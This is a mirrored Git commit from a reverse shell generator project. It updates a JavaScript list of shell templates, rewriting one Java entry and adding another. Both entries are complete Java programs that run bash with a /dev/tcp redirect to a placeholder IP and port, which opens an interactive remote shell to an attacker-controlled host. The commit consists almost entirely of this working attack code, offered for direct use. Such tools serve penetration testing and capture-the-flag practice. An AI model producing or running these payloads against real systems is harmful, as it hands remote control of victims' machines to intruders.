mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-01-19 01:08:50 +00:00
Update Java shells and remove some unnecessary cruft
This commit is contained in:
parent
9e3e92fdfe
commit
8ac7183a23
@ -250,7 +250,12 @@ const reverseShellCommands = withCommandType(
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "Java #1",
|
"name": "Java #1",
|
||||||
"command": "import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
"command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||||
|
"meta": ["linux", "mac"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Java #2",
|
||||||
|
"command": "public class shell {\n public static void main(String[] args) {\n ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/{ip}/{port} 0>&1\")\n .redirectErrorStream(true);\n try {\n Process p = pb.start();\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||||
"meta": ["linux", "mac"]
|
"meta": ["linux", "mac"]
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
|
Loading…
Reference in New Issue
Block a user